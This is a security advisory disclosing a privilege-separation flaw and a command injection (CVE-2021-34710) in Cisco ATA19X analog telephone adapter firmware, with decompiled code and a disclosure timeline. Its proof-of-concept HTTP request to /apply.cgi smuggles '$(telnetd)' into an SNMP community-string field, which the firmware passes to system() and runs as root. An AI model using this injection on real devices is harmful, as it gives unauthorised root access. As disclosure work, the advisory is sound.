Advisory: Cisco ATA19X Privilege Escalation and RCE

In this post, we outline two issues found within Cisco ATA19X series firmware, which were confirmed on the ATA191:

  1. Lack of User Privilege Separation Enforcement in Web Management Interface: The web management interface on the ATA191 does not necessarily prevent the “user” account from performing “admin”-privileged actions. As such, a user who logs in with “user” privileges is able to perform actions that should only be performed by an “admin” user.
  2. Post-Authentication Command Injection Remote Code Execution (CVE-2021-34710): The web management interface suffers from a post-authentication command injection issue, which can be exploited by an authenticated user.

These issues can be chained, so that a low-privileged “guest” user can eventually execute arbitrary system commands on the ATA19X with root privileges.

We reported both issues to Cisco in March of 2021. Yesterday, Cisco released an advisory mentioning the RCE issue, but without mentioning the privilege escalation issue. As of the publication of this advisory, Cisco have not advised us whether the privilege escalation issue has been fixed. As our initial disclosure was in March, we are releasing all details today. We will update this post with information as it becomes available.

Cisco has released firmware version 12.0(1)SR4 for ATA 191 Analog Telephone Adapter and 11.2.1 for ATA191 & ATA192 Multiplatform Analog Telephone Adapter to address the RCE issue. They have confirmed that this issue affects the following devices:

  • ATA 190 (On-premises only)
  • ATA 191 (On-premises or Multiplatform)
  • ATA 192 (Multiplatform only)
Cisco ATA191
© Cisco

 

Affected vendor & product

Vendor Advisory

Cisco VOIP Adapter ATA19X (www.cisco.com)

Cisco ATA 190 Series Analog Telephone Adapter Software Vulnerabilities

Vulnerable version < 12.0(1)SR4
< 11.2.1
Fixed version 12.0(1)SR4
11.2.1
CVE IDs CVE-2021-34710
Impact 8.8 (high) CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Credit T. Shiomitsu, IoT Inspector Research Lab

 

Cisco ATA19X Lack of User Privilege Separation Enforcement in Web Management Interface Root Cause Analysis

This issue appears to arise due to an oversight in the implementation of privilege separation. No privilege separation was found implemented at all in the httpd binary.

While some attempts to differentiate between “user” and “admin” accounts by the use of the “admin” keyword in the do_log_in_cgi() function in the httpd server binary were found, this appeared to only inform what functionality is provided to a user in the web management interface itself, when logging in with a different account. This did not amount to a proper implementation of controlled access to resources, based on the logged in user privilege level, and therefore was not found to restrict what functionality a “guest” user could actually perform.

The do_auth() function – which is called whenever an attempt is made to access what is considered a “privileged” endpoint (requires a valid login) – does not appear to take into consideration any particular privilege level.

As such, there is no particular single technical “root cause” for this issue. It appears to be a design implementation flaw.

Cisco ATA19X Post-Authentication Command Injection Remote Code Execution (CVE-2021-34710)

The send_out_trap() function within libspeak.so was found to contain several instances where user-controlled input may be passed to the system() library function. This function is called whenever a SNMP trap is invoked. Most notably, this can be triggered by forcing a login failure, as can be seen in do_log_in_cgi() in httpd:

iVar1 = WebUser_Do_Auth(user,pwd,1,1); 
if (iVar1 == -1) {
    nvram_set_printf("http_login_time","%d",iVar3 + 1);
    ct_syslog(5,3,"Login failed. Incorrect user name or password!");
    addLoginFailInfo(client_ip);
    send_out_trap(0xb,0); 
    return -1;
}

While send_out_trap() is quite a large and complex function, its overall purpose is simple – to invoke an SNMP trap using the snmptrap command-line command, based on the exact configuration that has been set by a user, if SNMP trapping has been enabled. As such, in order to exploit any injection, we must:

  1. Configure SNMP trapping.
  2. Ensure that one of the trap parameters we pass is an injection string.
  3. Trigger the trap invocation somehow.

In order to enable and configure SNMP trapping, a request has to be made to the /apply.cgi endpoint explicitly enabling it. We can both enable SNMP trapping, and inject a command with a single request.

For a simple PoC, we can simply inject a command into the snmp_getcom parameter of the SNMP configuration request (this is the “read” community string, which is used for the SNMP trap – it should be noted that other parameters were also found to be vulnerable, but are not included as part of the PoC). To do this, a request similar to the following can be made to the /apply.cgi endpoint:

POST /apply.cgi HTTP/1.1
Host: 192.168.1.149
Content-Type: application/x-www-form-urlencoded
Content-Length: 483
Origin: http://192.168.1.149
Connection: close
Referer: http://192.168.1.149/SNMP.asp
Cookie: SESSIONID=[...]
Upgrade-Insecure-Requests: 1

submit_button=SNMP&submit_type=&change_action=&gui_action=Apply&request_token=[...]&sortby=&snmp_trust=0.0.0.0%2F0.0.0.0&snmp_trust_origin=0.0.0.0%2F0.0.0.0&trap_ver=v1&snmp_reset_trusted=2&snmp_trust_prefix_ipv6=0&closeflg=0&privilege_str=&snmp_enable=1&snmp_trust_check=0&snmp_trust_check_v6=0&snmp_getcom=%24%28telnetd%29&snmp_setcom=private&snmpv3_enable=0&trap_ipaddr=192.168.15.100&trap_ipaddr_0=192.168.15.100&trap_port=162&snmp_ver=0&privilege_end=

When this request is made, the string $(telnetd) is stored in the device NVRAM as the snmp_getcom value.

Then, when send_out_trap() is invoked, this snmp_getcom string is read, and subsequently passed into a format string, which is then passed to the system() library function:

nvram_sec_get("snmp_getcom",snmp_getcom,0x40);
[...]
cmd_fs = "snmptrap -%s -c %s %s:%s \"\" %s";
[...]
snprintf(cmd_buf,0x100,cmd_fs,trap_ver,snmp_getcom,trap_ipaddr_,trap_port,trap);
[...]
iVar2 = system(cmd_buf);

On the ATA191, this executes the command with root privileges.

Conclusion

While it’s relatively easy to trace user-controlled data being passed to potentially insecure library functions, there are often instances where user-controlled data will be stored in intermediary locations – such as device NVRAM. This can make it difficult for automated security analysis tools to flag, without the requisite contextual knowledge of the way in which the device handles and stores user-controlled data. Data, which is ingested in one place, may be used later on in another – sometimes in a totally different place in a firmware image. Doing source/sink analysis around NVRAM variables can be a useful string to your embedded device security analysis bow.

Timeline

2021/02/23 – Initial disclosure to Cisco PSIRT.
2021/03/02 – Confirmation of receipt by Cisco PSIRT case manager.
2021/03/02 – We confirm receipt and ask to be kept updated.
2021/03/29 – Cisco PSIRT follow up to state that the issues are being worked on.
2021/08/13 – Cisco PSIRT follow up to state that release date is tentatively early October.
2021/08/25 – We confirm receipt, and request updates.
2021/09/29 – Cisco PSIRT follow up with release date of October 6th.
2021/10/06 – Cisco publish their advisory.
2021/10/06 – We e-mail Cisco to request confirmation around the privilege escalation issue.
2021/10/07 – Cisco respond stating that they will be unable to answer this question until next week.
2021/10/07 – This article published.